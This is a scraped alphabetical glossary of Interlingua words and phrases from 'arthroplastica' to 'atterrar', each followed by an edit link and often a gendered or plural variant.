arthroplasticaModificar arthroplastica del hanca con prothese totalModificar arthroplastica de la hanca con prothese total arthropodeModificar arthropode(s) \/ arthropodo(s) \/ arthropoda(s) arthropodoModificar arthroscopiaModificar arthroscopioModificar arthrotomiaModificar arthtrose = arthtrosisModificar artichocModificar artichoc [le \/ la articitateModificar articulabileModificar articulabile(s) articularModificar articular(es) adj articularModificar articular vb articulateModificar articulato(s) \/ articulata(s) articulationModificar articulation cardanicModificar articulation cardanica articulation coxofemoralModificar articulation de cardanModificar articulation del carpoModificar articulation del colloModificar articulation del digitoModificar articulation del gambaModificar articulation de la gamba articulation del geniculo \/ genuModificar articulation del hancaModificar articulation de la hanca articulation del humeroModificar articulation del polliceModificar articulation del spatulaModificar articulation de la spatula articulation ginglymoideModificar articulation intervertebralModificar articulation palatalModificar articulation prepalatalModificar articulation scapulohumeralModificar articulation sphericModificar articulation spherica articulation talocruralModificar articulation temporomaxillarModificar articulationes de un cascoModificar articulatoriModificar articulatorio(s) \/ articulatoria(s) articulistaModificar articuloModificar articulo a jectarModificar articulo commerciabileModificar articulo commercialModificar articulo currenteModificar articulo de cauchuModificar articulo de commercioModificar articulo de confectionModificar articulo de consumoModificar articulo de consumptionModificar articulo de exportationModificar articulo de fabricaModificar articulo de fundoModificar articulo de grande consumoModificar articulo de importationModificar articulo de jornalModificar articulo de liquidationModificar articulo de luxoModificar articulo de modaModificar articulo de multe demandaModificar articulo de multa demanda articulo de revistaModificar articulo de saisonModificar articulo de serieModificar articulo de sportModificar articulo de testaModificar articulo de testa de un jornalModificar articulo de toiletteModificar articulo de uso domesticModificar articulo de uso domestico articulo definiteModificar articulo definito articulo del constitutionModificar articulo de la constitution articulo del humeroModificar articulo determinateModificar articulo determinato articulo diffamatoriModificar articulo diffamatorio articulo elogioseModificar articulo elogioso articulo indefiniteModificar articulo indefinito articulo indeterminateModificar articulo indeterminato articulo jectabileModificar articulo neutreModificar articulo neutro articulo obsoleteModificar articulo obsoleto articulo partitiveModificar articulo partitivo articulo per articuloModificar articulo pornoModificar articulo principalModificar articulo redactionalModificar articulo seditioseModificar articulo seditioso articulo servibileModificar articulo sportiveModificar articulo sportivo articulo suppletiveModificar articulo suppletivo articulo utilisabileModificar articulo utilizabile articulos additionalModificar articulos additionales articulos classificate secundo mesura e colorModificar articulos classificatos secundo mesura e \/ et color articulos complementariModificar articulos complementarios articulos de alimentationModificar articulos de banioModificar articulos de brosseriaModificar articulos de bureauModificar articulos de cannaModificar articulos de cellulosaModificar articulos de corioModificar articulos de designoModificar articulos de ferroModificar articulos de gummaModificar articulos de lattaModificar articulos de luxoModificar articulos de marcaModificar articulos de \/ in metalloModificar articulos de NatalModificar articulos de officioModificar articulos de phantasiaModificar articulos de prime necessitateModificar articulos de prima necessitate articulos de secunde manoModificar articulos de secunda mano articulos de tricotModificar articulos pornographicModificar articulos pornographicos articulos pro fumatoresModificar articulos sanitariModificar articulos sanitarios artificeModificar artifice [le \/ la artificialModificar artificial(es) artificialisarModificar artificializar artificialitateModificar artificioModificar artificio de calculoModificar artificio de stiloModificar artificioseModificar artificioso(s) \/ artificiosa(s) artificiositateModificar artillarModificar artillar vb artilleriaModificar artilleria antiaereeModificar artilleria antiaerea artilleria campalModificar artilleria costariModificar artilleria costaria artilleria de assedioModificar artilleria de campaniaModificar artilleria de longe portataModificar artilleria de longa portata artilleria de reservaModificar artilleria legierModificar artilleria legiera artilleria navalModificar artilleria pesanteModificar artilleria pesante artilleristaModificar artilleroModificar artimonModificar artimon [le artiodactyleModificar artiodactylo(s) \/ artiodactyla(s) artiodactylosModificar artisanalModificar artisanal(es) artisaneriaModificar artisanoModificar artistaModificar artista ambulanteModificar artista barocModificar artista baroco \/ baroca artista capillarModificar artista cinematographicModificar artista cinematographico \/ cinematographica artista completeModificar artista completo \/ completa artista con inspirationModificar artista conceptualModificar artista creativeModificar artista creativo \/ creativa artista creatorModificar artista creator \/ creatrice artista de cabaretModificar artista de circoModificar artista de music hallModificar artista de revistasModificar artista de stratasModificar artista de varietatesModificar artista del secunde categoriaModificar artista de la secunda categoria artista dramaticModificar artista dramatico \/ dramatica artista equestreModificar artista graphicModificar artista graphico \/ graphica artista illustreModificar artista in herbaModificar artista independenteModificar artista inimitabileModificar artista inspirateModificar artista inspirato \/ inspirata artista multo dotateModificar artista multo dotato \/ dotata artista nateModificar artista nato \/ nata artista originalModificar artista plasticModificar artista plastico \/ plastica artista popModificar artista stratalModificar artisticModificar artistico(s) \/ artistica(s) artocarpoModificar aruncoModificar arvenseModificar arvense(s) AryaModificar aryanModificar aryano(s) \/ aryana(s) aryanoModificar arytenoideModificar arytenoide sub, adj asafetidaModificar asaroModificar asbestoModificar asbesto cementoModificar asbesto de platinoModificar asbestose = asbestosisModificar ascaloniaModificar ascarideModificar ascaride [la ascaridiose = ascaridiosisModificar ascendenteModificar ascendente(s) ascendentiaModificar ascendentia de latere paterneModificar ascendentia de latere paterno ascendentia maternalModificar ascendentia paternalModificar ascendentia thermalModificar ascendentia thermicModificar ascendentia thermica ascenderModificar ascender al celoModificar ascender al prime divisionModificar ascender a la prima division ascender al thronoModificar ascender in rangoModificar ascendibileModificar ascendibile(s) AscensionModificar ascensionModificar ascension al atmospheraModificar ascension a la atmosphera ascension capillarModificar ascension de (un) ballonModificar ascension de un montaniaModificar ascension de una montania ascension recteModificar ascension recta ascensionalModificar ascensional(es) ascensionistaModificar ascensorModificar ascensor de \/ pro mercantiasModificar ascensor de minaModificar ascensor de perronModificar ascensor electricModificar ascensor electrico ascensor pro personasModificar ascensoristaModificar asceseModificar ascese [la ascetaModificar asceta [le \/ la asceticModificar ascetico(s) \/ ascetica(s) asceticaModificar ascetismoModificar ascidiaModificar asclepiadaceasModificar AsclepiadesModificar asclepiades tuberoseModificar asclepiades tuberosos AsclepioModificar ascoModificar ascoltaModificar ascoltabileModificar ascoltabile(s) ascoltamentoModificar ascoltarModificar ascoltar attentivementeModificar ascoltar attentivamente ascoltar (con) le bucca aperteModificar ascoltar (con) la bucca aperta ascoltar distractementeModificar ascoltar distractamente ascoltar le duo partesModificar ascoltar las duas partes ascoltar le testesModificar ascoltar las \/ los testes ascoltar un concertoModificar ascoltar un oratorModificar ascoltatorModificar ascoltator attentiveModificar ascoltator attentivo ascoltator benevoleModificar ascoltator benevolo ascoltator de radioModificar ascomycetoModificar ascophylloModificar ascophyllo nodoseModificar ascophyllo nodoso ascorbicModificar ascorbico(s) \/ ascorbica(s) ascriberModificar ascriber poteres supernatural a un personaModificar ascriber poteres supernaturales a una persona ascribibileModificar ascribibile(s) ascriptionModificar asdic (SONAR)Modificar asdic [le aseismicModificar aseismico(s) \/ aseismica(s) aseitateModificar aselloModificar asello aquaticModificar asello aquatico asemanticModificar asemantico(s) \/ asemantica(s) asemanticitateModificar asepsisModificar asepticModificar aseptico(s) \/ aseptica(s) asepticoModificar aseptisarModificar aseptizar aseptisar un plagaModificar aseptizar una plaga aseptisationModificar aseptization asexualModificar asexual(es) asexualitateModificar asexuateModificar asexuato(s) \/ asexuata(s) AsiaModificar Asia CentralModificar Asia MeridionalModificar Asia MinorModificar Asia OrientalModificar asiaticModificar asiatico(s) \/ asiatica(s) asiaticoModificar asineriaModificar asineroModificar asininModificar asinino(s) \/ asinina(s) asinitateModificar asinoModificar asino de bastoModificar asino de cargaModificar asino neonateModificar asino neonato asocialModificar asocial(es) asocialitateModificar asparagetoModificar asparaginaModificar asparagoModificar asparago falcateModificar asparago falcato asparago plumoseModificar asparago plumoso aspartameModificar aspartame [le asparticModificar aspartico(s) \/ aspartica(s) aspectoModificar aspecto adverseModificar aspecto adverso aspecto aoristicModificar aspecto aoristico aspecto durativeModificar aspecto durativo aspecto ethic de un problemaModificar aspecto ethico de un problema aspecto exteriorModificar aspecto imperfectiveModificar aspecto imperfectivo aspecto ludicModificar aspecto ludico aspecto presentabileModificar aspecto progressiveModificar aspecto progressivo aspecto trinModificar aspecto trino aspecto vitroseModificar aspecto vitroso aspectualModificar aspectual(es) asperaModificar asperarModificar asperar aspereModificar aspero(s) \/ aspera(s) aspergerModificar asperger con aqua sancteModificar asperger con aqua sancta asperger con grassiaModificar aspergilloModificar asperibracteeModificar asperibracteo(s) \/ asperibractea(s) aspericauleModificar aspericaule(s) adj asperifoliasModificar asperifoliateModificar asperifoliato(s) \/ asperifoliata(s) asperifolieModificar asperifolio(s) \/ asperifolia(s) asperitateModificar asperitate de un paisageModificar asperitate del characterModificar asperitate del hibernoModificar asperitate del soloModificar asperitate del ventoModificar asperitates del terrenoModificar aspermeModificar aspermo(s) \/ asperma(s) aspermiaModificar aspersionModificar aspersorioModificar asperugoModificar asperulaModificar asperula odorateModificar asperula odorata asphaltarModificar asphaltar un strataModificar asphaltar una strata asphaltateModificar asphaltato(s) \/ asphaltata(s) asphaltatorModificar asphaltaturaModificar asphalticModificar asphaltico(s) \/ asphaltica(s) asphaltoModificar asphodeloModificar asphyxiaModificar asphyxia per strangulationModificar asphyxianteModificar asphyxiante(s) asphyxiarModificar asphyxiar con gasModificar asphyxiar per le emanationes de oxydo de carbonModificar asphyxiar per las emanationes de oxydo de carbon asphyxiar un persona con un cossinoModificar asphyxiar una persona con un cossino asphyxicModificar asphyxico(s) \/ asphyxica(s) aspic (F)Modificar aspideModificar aspide [la aspidistraModificar aspiranteModificar aspirante sub, adj aspira-pulvereModificar aspirarModificar aspirar aereModificar aspirar al celebritateModificar aspirar a la celebritate aspirar al gloriaModificar aspirar a la gloria aspirar al perfectionModificar aspirar a la perfection aspirar al poterModificar aspirar al reposoModificar aspirar e expirarModificar aspirar et expirar aspirar un bibita con un paleaModificar aspirar una bibita con una palea aspirationModificar aspiration commendabileModificar aspiration laudabileModificar aspiration verso le gloriaModificar aspiration verso la gloria aspirationes artisticModificar aspirationes artisticas aspiration(es) nobileModificar aspiration(es) nobile(s) aspiratorModificar aspirator de pulvereModificar aspirator (de pulvere) portativeModificar aspirator (de pulvere) portativo aspiratoriModificar aspiratorio(s) \/ aspiratoria(s) aspirinaModificar aspirina vitaminateModificar aspirina vitaminata aspirina vitaminisateModificar aspirina vitaminizata asplenioModificar assagayaModificar assalirModificar assalir un fortalessaModificar assalir una fortalessa assalitorModificar assaltarModificar assaltar un banca a mano armateModificar assaltar una banca a mano armata assaltatorModificar assaltoModificar assalto al trainoModificar assalto de un fortalessaModificar assalto de una fortalessa assalto furibundeModificar assalto furibundo AssamModificar assamitaModificar assamita sub, adj assassinamentoModificar assassinarModificar assassinationModificar assassinatoModificar assassinato horribileModificar assassinato politicModificar assassinato politico assassinato premeditateModificar assassinato premeditato assassinato pro robamentoModificar assassinato sequite de robamentoModificar assassinato sequito de robamento assassinatorModificar assassinoModificar assassino de professionModificar assassino multipleModificar assassino multiplo assassino professionalModificar assassino salariateModificar assassino salariato assatisModificar assatis adv assatis de tergiversationes!Modificar asseModificar asse [le asse de piccaModificar asse de quadroModificar asse de spadaModificar asse de trifolioModificar asse de triumphoModificar assecurabileModificar assecurabile(s) assecurantiaModificar assecurantia agricoleModificar assecurantia agricola assecurantia complementariModificar assecurantia complementaria assecurantia compulsoriModificar assecurantia compulsoria assecurantia contra accidentesModificar assecurantia contra furtosModificar assecurantia contra incendiosModificar assecurantia contra le accidentesModificar assecurantia contra los accidentes assecurantia contra le damnosModificar assecurantia contra los damnos assecurantia contra le disoccupationModificar assecurantia contra la disoccupation assecurantia contra le grandineModificar assecurantia contra la grandine assecurantia contra le invaliditateModificar assecurantia contra la invaliditate assecurantia contra le pluviaModificar assecurantia contra la pluvia assecurantia contra robamentoModificar assecurantia contra riscosModificar assecurantia contra tote (le) riscosModificar assecurantia contra totos (los) riscos assecurantia de bagagesModificar assecurantia de casco(s)Modificar assecurantia de mercantiasModificar assecurantia de responsabilitate (civil)Modificar assecurantia de responsabilitate (civil) assecurantia de transportoModificar assecurantia maritimeModificar assecurantia maritima assecurantia mixteModificar assecurantia mixta assecurantia mutue contra incendiosModificar assecurantia mutua contra incendios assecurantia obligatoriModificar assecurantia obligatoria assecurantia super le vitaModificar assecurantia super la vita assecurantia tote (le) riscosModificar assecurantia totos (los) riscos assecurantia voluntariModificar assecurantia voluntaria assecurantias socialModificar assecurantias sociales assecurarModificar assecurar le continuitate de un interprisaModificar assecurar la continuitate de una interprisa assecurar le tranquillitate de un paisModificar assecurar la tranquillitate de un pais assecurar se contra le furtoModificar assecurar se del solventia de un compratorModificar assecurar se de la solventia de un comprator assecurar se privatementeModificar assecurar se privatamente assecuratorModificar assecurator contra incendiosModificar assecurator maritimeModificar assecurator maritimo assediamentoModificar assediarModificar assediateModificar assediato(s) \/ assediata(s) assediatorModificar assedioModificar assemblageModificar assemblage de un auto \/ automobileModificar assemblarModificar assemblar truppasModificar assemblatorModificar assembleaModificar assemblea annualModificar assemblea capitularModificar assemblea consistorialModificar assemblea constituenteModificar assemblea constitutiveModificar assemblea constitutiva assemblea consultativeModificar assemblea consultativa assemblea conventualModificar assemblea de actionistasModificar assemblea del consilioModificar assemblea deliberativeModificar assemblea deliberativa assemblea dissolubileModificar assemblea extraordinariModificar assemblea extraordinaria assemblea federalModificar assemblea generalModificar assemblea legislativeModificar assemblea legislativa assemblea masonicModificar assemblea masonica Assemblea NationalModificar assemblea plenariModificar assemblea plenaria assemblea popularModificar assemblea synodalModificar assemblea tumultuoseModificar assemblea tumultuosa assentimentoModificar assentirModificar assentir con le capiteModificar assentir con la capite assentir con le testaModificar assentir con la testa assererModificar assertarrModificar assertionModificar assertion gratuiteModificar assertion gratuita assertion harditeModificar assertion hardita assertion incredibileModificar assertion inverificabileModificar assertiones indefendibileModificar assertiones indefendibiles assertiones mendaceModificar assertiones mendaces assertiveModificar assertivo(s) \/ assertiva(s) assertivitateModificar assertorModificar assertoriModificar assertorio(s) \/ assertoria(s) assessorModificar assessorialModificar assessorial(es) assetarModificar assetateModificar assetato(s) \/ assetata(s) assetate de vengiantiaModificar [assetato(s) \/ assetata(s)] de vengiantia asseverarModificar asseverationModificar asseverativeModificar asseverativo(s) \/ asseverativa(s) assiModificar assi adv assi bon como belleModificar [assi bon \/ bono como bello] \/ [assi bona como bella] assi es le vitaModificar assi est la vita assi me assiste Deo omnipotenteModificar assi me assistea Deo omnipotente assibilarModificar assibilationModificar assiderModificar assidueModificar assiduo(s) \/ assidua(s) assiduitateModificar assignabileModificar assignabile(s) assignabilitateModificar assignarModificar assignar limites a un activitateModificar assignar limites a una activitate assignar quotasModificar assignar un data de livrationModificar assignar una data de livration assignar un mission a un persona de confidentiaModificar assignar una mission a una persona de confidentia assignationModificar assignation bancariModificar assignation bancaria assignation partialModificar assignatoModificar assimilabileModificar assimilabile(s) assimilabilitateModificar assimilarModificar assimilar duo conceptosModificar assimilar duos conceptos assimilar duo notionesModificar assimilar duas notiones assimilationModificar assimilation chlorophyllianModificar assimilation chlorophylliana assimilation chlorophyllicModificar assimilation chlorophyllica assimilation per contactoModificar assimilation progressiveModificar assimilation progressiva assimilation regressiveModificar assimilation regressiva assimilativeModificar assimilativo(s) \/ assimilativa(s) assimilatorModificar assimilatoriModificar assimilatorio(s) \/ assimilatoria(s) assisesModificar assises [las assistenteModificar assistente [le \/ la assistente al partoModificar assistente de laboratorioModificar assistente medicalModificar assistente socialModificar assistentiaModificar assistentia al agonisantesModificar assistentia a los \/ las agonizantes assistentia al moribundosModificar assistentia a los moribundos assistentia al morientesModificar assistentia a los morientes assistentia de un remolcatorModificar assistentia domiciliariModificar assistentia domiciliaria assistentia financiariModificar assistentia financiaria assistentia judiciari \/ juridic gratuiteModificar assistentia judiciaria \/ juridica gratuita assistentia juridic de officioModificar assistentia juridica de officio assistentia medic \/ medicalModificar assistentia medica \/ medical assistentia militarModificar assistentia mutual \/ mutueModificar assistentia mutual \/ mutua assistentia postoperatoriModificar assistentia postoperatoria assistentia publicModificar assistentia publica assistentia social (per specialistas)Modificar assistentialModificar assistential(es) assisterModificar assister a un accidenteModificar assister a un concertoModificar assister a un Conferentia de InterlinguaModificar assister a una Conferentia de Interlingua assister a un curso como auditorModificar assister a un interramentoModificar assister al cultoModificar assister al officioModificar assister durante un partoModificar assister le moribundosModificar assister los moribundos assister le morientesModificar assister los morientes assister un persona durante le hibernoModificar assister una persona durante le hiberno assistibileModificar assistibile(s) assistitoModificar associabileModificar associabile(s) associabilitateModificar associabilitate de moleculasModificar associarModificar associar interprenditoresModificar associar un persona a un interprisaModificar associar una persona a una interprisa associationModificar association columbophileModificar association columbophila association commercialModificar association cynophileModificar association cynophila association de actionistasModificar association de agricultoresModificar association de amatores de cine \/ cinemaModificar association de armatoresModificar association de beneficentiaModificar association de cecosModificar association de columbophilosModificar association de consumitoresModificar association de electoresModificar association de fabricantesModificar association de footballModificar association de genitoresModificar association de gymnasticaModificar association de ideasModificar association de inspiration calvinistaModificar association de juventuteModificar association de maestrosModificar association de patientesModificar association de quartieroModificar association de radiodiffusion (e de television)Modificar association de schermaModificar association de sonosModificar association de stellasModificar association de studentes \/ studiantesModificar association de succurso mutualModificar association de supportersModificar association de tiratoresModificar association de tourismoModificar association de touristasModificar association del personalModificar association electoralModificar association gymnasticModificar association gymnastica association juvenilModificar association litterariModificar association litteraria association philanthropicModificar association philanthropica association religioseModificar association religiosa association secreteModificar association secreta association sonorModificar association sonora association sportiveModificar association sportiva association wagnerianModificar association wagneriana associationes cultualModificar associationes cultuales associationismoModificar associationistaModificar associationista sub, adj associationisticModificar associationistico(s) \/ associationistica(s) associativeModificar associativo(s) \/ associativa(s) associativitateModificar associativitate del addition e del multiplicationModificar associativitate de la addition e \/ et de la multiplication associatoModificar associato commanditariModificar associato commanditario assonanteModificar assonante(s) assonantiaModificar assonarModificar assortimentoModificar assortimento de caseosModificar assortimento de coloresModificar assortirModificar assortiteModificar assortito(s) \/ assortita(s) assumerModificar assumer le commandoModificar assumer le culpaModificar assumer la culpa assumer le defensa de un imputatoModificar assumer la defensa de un imputato assumer le economato de un institutoModificar assumer le governamentoModificar assumer le poterModificar assumer le presidentiaModificar assumer la presidentia assumer le responsabilitateModificar assumer la responsabilitate assumer le responsabilitate de un cosaModificar assumer la responsabilitate de una cosa assumer le rolo de benefactorModificar assumer un attitude defensiveModificar assumer una attitude defensiva assumer un cargaModificar assumer una carga assumer un forma humanModificar assumer una forma humana assumer un officioModificar assumibileModificar assumibile(s) AssumptionModificar assumptionModificar assumption del poterModificar assurdamentoModificar assurdarModificar assurdar le lucesModificar assurdar las luces assurdar le lumine(s)Modificar assurdar la(s) lumine(s) AssyriaModificar assyrieModificar assyrio(s) \/ assyria(s) assyrioModificar assyriologiaModificar assyriologicModificar assyriologico(s) \/ assyriologica(s) assyriologistaModificar assyriologoModificar astasiaModificar astaticModificar astatico(s) \/ astatica(s) astatiumModificar astere (Astron, Bot)Modificar astere [le astere alpinModificar astere alpino asteriaModificar asteriscoModificar asterismoModificar asternalModificar asternal(es) asteroidalModificar asteroidal(es) asteroideModificar asteroide [le asterophoreModificar asterophoro(s) \/ asterophora(s) astheniaModificar asthenia de primaveraModificar asthenia primaveralModificar asthenicModificar asthenico(s) \/ asthenica(s) asthenicoModificar asthenospheraModificar asthmaModificar asthma bronchialModificar asthmaticModificar asthmatico(s) \/ asthmatica(s) asthmaticoModificar astigmaticModificar astigmatico(s) \/ astigmatica(s) astigmatismoModificar astigmometroModificar astor = asturModificar astragaloModificar astracanModificar astralModificar astral(es) astrantiaModificar astreaModificar astrictionModificar astringenteModificar astringente(s) astringentiaModificar astringerModificar astroModificar astro caudateModificar astro caudato astro del jornoModificar astrobiologiaModificar astrobiologicModificar astrobiologico(s) \/ astrobiologica(s) astrochimiaModificar astrochimicModificar astrochimico(s) \/ astrochimica(s) astrocytoModificar astrodynamicModificar astrodynamico(s) \/ astrodynamica(s) astrodynamicaModificar astrogeologiaModificar astrographiaModificar astrographicModificar astrographico(s) \/ astrographica(s) astrographoModificar astrolabioModificar astrolatriaModificar astrologiaModificar astrologia astrologicModificar astrologico(s) \/ astrologica(s) astrologoModificar astrometriaModificar astrometria photographicModificar astrometria photographica astrometricModificar astrometrico(s) \/ astrometrica(s) astronautaModificar astronauticModificar astronautico(s) \/ astronautica(s) astronauticaModificar astronauticoModificar astronaveModificar astronomiaModificar astronomia physicModificar astronomia physica astronomicModificar astronomico(s) \/ astronomica(s) astronomoModificar astrophotographiaModificar astrophotographicModificar astrophotographico(s) \/ astrophotographica(s) astrophotometriaModificar astrophotometricModificar astrophotometrico(s) \/ astrophotometrica(s) astrophotometroModificar astrophysicModificar astrophysico(s) \/ astrophysica(s) astrophysicaModificar astrophysicoModificar astrophytoModificar astrophyto capricorneModificar astrophyto capricorne \/ capricorno astrospheraModificar asturianModificar asturiano(s) \/ asturiana(s) asturianoModificar AsturiasModificar astuteModificar astuto(s) \/ astutua(s) astutiaModificar astutia demoniacModificar astutia demoniaca astutia infernalModificar astutioseModificar astutioso(s) \/ astutiosa(s) astutoModificar asyloModificar asylo de \/ pro alienatesModificar asylo de \/ pro alienatos asylo de \/ pro animalesModificar asylo de nocteModificar asylo de \/ pro orphanosModificar asylo de pauperesModificar asylo de pauperes \/ pauperos asylo de \/ pro personas sin casaModificar asylo de povresModificar asylo infantilModificar asylo inviolabileModificar asylo nocturneModificar asylo nocturno asylo pro mendicantes \/ mendicosModificar asymboliaModificar asymbolia opticModificar asymbolia optica asymmetreModificar asymmetro(s) \/ asymmetra(s) asymmetriaModificar asymmetricModificar asymmetrico(s) \/ asymmetrica(s) asymptomaticModificar asymptomatico(s) \/ asymptomatica(s) asymptoteModificar asymptote [la asymptoticModificar asymptotico(s) \/ asymptotica(s) asynchroneModificar asynchrono(s) \/ asynchrona(s) asynchronismoModificar asyndeticModificar asyndetico(s) \/ asyndetica(s) asyndetonModificar asynergiaModificar asyntacticModificar asyntactico(s) \/ asyntatica(s) asystoliaModificar atalantaModificar ataraxiaModificar ataraxicModificar ataraxico(s) \/ ataraxica(s) atavicModificar atavico(s) \/ atavica(s) atavismoModificar atavistaModificar atavisticModificar atavistico(s) \/ atavistica(s) atavoModificar ataxiaModificar ataxicModificar ataxico(s) \/ ataxica(s) ateleModificar atele [le atelier [F]Modificar atelier de pictorModificar atemporalModificar atemporal(es) atemporalitateModificar atettarModificar athanasianModificar athanasiano(s) \/ athanasiana(s) athanasianoModificar AthanasioModificar atheeModificar atheo(s) \/ athea(s) atheismoModificar atheistaModificar atheista(s) adj atheisticModificar atheistico(s) \/ atheistica(s) athematicModificar athematico(s) \/ athematica(s) AthenaModificar AthenasModificar AtheneoModificar atheneoModificar athenianModificar atheniano(s) \/ atheniana(s) athenianoModificar athenieseModificar atheniese(s) \/ atheniesa(s) atheoModificar atherinidaModificar athermanModificar athermano(s) \/ athermana(s) athermicModificar athermico(s) \/ athermica(s) athletaModificar athleticModificar athletico(s) \/ athletica(s) athleticaModificar athletismoModificar athrepsiaModificar athyrioModificar AtlantaModificar AtlanteModificar atlanteModificar atlante [le atlanticModificar atlantico(s) \/ atlantica(s) AtlanticoModificar AtlantidaModificar atlantosauroModificar AtlasModificar atlasModificar atlas anatomicModificar atlas anatomico atlas astronomicModificar atlas astronomico atlas botanicModificar atlas botanico atlas de mappasModificar atlas de tascaModificar atlas del camminosModificar atlas de los camminos atlas del lunaModificar atlas de la luna atlas dialectalModificar atlas historicModificar atlas historico atlas hydrographicModificar atlas hydrographico atlas hydrologicModificar atlas hydrologico atlas linguisticModificar atlas linguistico atlas lunarModificar atlas maritimeModificar atlas maritimo atlas nauticModificar atlas nautico atlas portativeModificar atlas portativo atlas scholarModificar atlas topographicModificar atlas topographico atmolyse = atmolysisModificar atmometroModificar atmospheraModificar atmosphera brumoseModificar atmosphera brumosa atmosphera cargateModificar atmosphera cargata atmosphera de NatalModificar atmosphera de panicoModificar atmosphera explosiveModificar atmosphera explosiva atmosphera irrespirableModificar atmosphera lunarModificar atmosphera oneiricModificar atmosphera oneirica atmosphera pacibileModificar atmosphera suffocanteModificar atmosphera terrestreModificar atmosphericModificar atmospherico(s) \/ atmospherica(s) atolloModificar atomicModificar atomico(s) \/ atomica(s) atomicitateModificar atomisarModificar atomizar atomisationModificar atomization atomisatorModificar atomizator atomisator de lacca pro le capillosModificar atomizator de lacca pro los capillos atomisator de perfumoModificar atomizator de perfumo atomismoModificar atomismo logicModificar atomismo logico atomistaModificar atomisticModificar atomistico(s) \/ atomistica(s) atomisticaModificar atomoModificar atomo de carbonModificar atomo de carbon dissymmetricModificar atomo de carbon dissymmetrico atomo de carbon primariModificar atomo de carbon primario atomo de carbon quaternariModificar atomo de carbon quaternario atomo interstitialModificar atomo metastabileModificar atomo stabileModificar atomo tetravalenteModificar atomo univalenteModificar atomoacceptorModificar atomo-grammaModificar atonalModificar atonal(es) atonalismoModificar atonalitateModificar atoneModificar atono(s) \/ atona(s) atoniaModificar atonia fecalModificar atonia muscularModificar atonicModificar atonico(s) \/ atonica(s) atonicitateModificar atoxicModificar atoxico(s) \/ atoxica(s) atrabileModificar atrabile [la atrabiliariModificar atrabiliario(s) \/ atrabiliaria(s) atresiaModificar atrichoModificar atricho undulateModificar atricho undulato atrioModificar atriplexModificar atriplex [le atriplex littoralModificar atroceModificar atroce(s) atrocitateModificar atropaModificar atropheModificar atropho(s) \/ atropha(s) atrophiaModificar atrophia de un musculoModificar atrophia de un organoModificar atrophia del ficatoModificar atrophia del hepateModificar atrophia muscularModificar atrophiarModificar atrophicModificar atrophico(s) \/ atrophica(s) atropinaModificar atropina dilata le pupillaModificar atropina dilata la pupilla attaccabileModificar attaccabile(s) attaccanteModificar attaccante [le \/ la attaccarModificar attaccar de flancoModificar attaccar frontalmenteModificar attaccar le mal a su radiceModificar attaccar le reputation de un personaModificar attaccar la reputation de una persona attaccar un difficultateModificar attaccar una difficultate attaccatorModificar attaccoModificar attacco a mano armateModificar attacco a mano armata attacco aereeModificar attacco aereo attacco apoplecticModificar attacco apoplectico attacco atomicModificar attacco atomico attacco bilioseModificar attacco bilioso attacco cardiacModificar attacco cardiaco attacco con bombasModificar attacco de apoplexiaModificar attacco de avionesModificar attacco de bayonettaModificar attacco de bileModificar attacco de carros de combattoModificar attacco de cavalleriaModificar attacco de cramposModificar attacco de epilepsiaModificar attacco de febreModificar attacco de flancoModificar attacco de guttaModificar attacco de hysteriaModificar attacco de nervosModificar attacco de represaliasModificar attacco de spasmosModificar attacco de \/ per surprisaModificar attacco de tanksModificar attacco de terrorModificar attacco epilepticModificar attacco epileptico attacco febrilModificar attacco fingiteModificar attacco fingito attacco frontalModificar attacco guttoseModificar attacco guttoso attacco immotivateModificar attacco immotivato attacco imprevisteModificar attacco imprevisto attacco massiveModificar attacco massivo attacco nephriticModificar attacco nephritico attacco nervoseModificar attacco nervoso attacco nocturneModificar attacco nocturno attacco nuclearModificar attacco simulateModificar attacco simulato attacco spasmodicModificar attacco spasmodico attaccos malaricModificar attaccos malaricos attacha vostre cincturas!Modificar attachate vostras cincturas! attachabileModificar attachabile(s) attachamentoModificar attacharModificar attachar con buttonesModificar attachar con laciosModificar attachar duo cordas per un nodoModificar attachar duas cordas per un nodo attachar importantia a un cosaModificar attachar importantia a una cosa attachar le esca al hamoModificar attachar la esca al hamo attachar le manos de un personaModificar attachar las manos de una persona attachar le remolcoModificar attachar le wagonModificar attachar se per suctionModificar attachar su cincturaModificar attachar su nomine a un cosaModificar attachar su nomine a una cosa attachar un buttonModificar attachar un canModificar attachar un naveModificar attachar una nave attachar un pictura al muroModificar attachar una pictura al muro attachar un pictura al parieteModificar attachar una pictura al pariete attachar valor a un cosaModificar attachar valor a una cosa attaché (F)Modificar attaché de legationModificar attaché de marinaModificar attaché de pressaModificar attaché militarModificar attaché navalModificar attelaboModificar attemperarModificar attendenteModificar attendente [le \/ la attendente de station de gasolinaModificar attenderModificar attender le momento propitieModificar attender le momento propitio attender le bon momentoModificar attender le bon \/ bono momento attender le momento opportunModificar attender le momento opportuno attender un cosa con impatientiaModificar attender una cosa con impatientia attender un persona al stationModificar attender una persona a la station attentarModificar attentar al stabilitate del paceModificar attentar a la stabilitate de la pace attentar al virtute de un feminaModificar attentar a la virtute de una femina attentar al \/ le vita de un personaModificar attentar (a) la vita de una persona attentar contra al \/ le securitate del statoModificar attentar contra (a) la securitate del stato attentar contra al \/ le vita de un personaModificar attentar contra (a) la vita de una persona attentatoModificar attentato al libertateModificar attentato a la libertate attentato al moralModificar attentato al \/ a_la moral attentato al moresModificar attentato a los mores attentato al pudorModificar attentato de bombaModificar attentato terroristaModificar attentatorModificar attentatoriModificar attentatorio(s) \/ attentatoria(s) attentatos del nihilistas russeModificar attentatos de los nihilistas russos attenteModificar attento(s) \/ attenta(s) attentionModificar attention al can!Modificar attention al scalonModificar attention tenditeModificar attention tendita attentiveModificar attentivo(s) \/ attentiva(s) attenuamentoModificar attenuanteModificar attenuante(s) adj attenuarModificar attenuar le contrastosModificar attenuar los contrastos attenuar le dolorModificar attenuar le \/ la dolor attenuar le fiscalisation del cargas socialModificar attenuar la fiscalization de las cargas sociales attenuar le fiscalisation del oneres socialModificar attenuar la fiscalization de los oneres sociales attenuar un expressionModificar attenuar una expression attenuar un offensaModificar attenuar una offensa attenuar un penaModificar attenuar una pena attenuar un suffrentiaModificar attenuar una suffrentia attenuateModificar attenuato(s) \/ attenuata(s) attenuationModificar attenuation acusticModificar attenuation acustica attenuation de dolorModificar attenuation de fortiasModificar attenuation de un penaModificar attenuation de una pena attenuation del dolorModificar attenuation del \/ de_la dolor atterrageModificar atterrage bruscModificar atterrage brusco atterrage dulceModificar atterrage fortiateModificar atterrage fortiato atterrage intermediariModificar atterrage intermediario atterrage intermedieModificar atterrage intermedio atterrage sin visibilitateModificar atterrage suaveModificar atterrage super le lunaModificar atterrage super la luna atterrage super le ventreModificar atterrarModificar 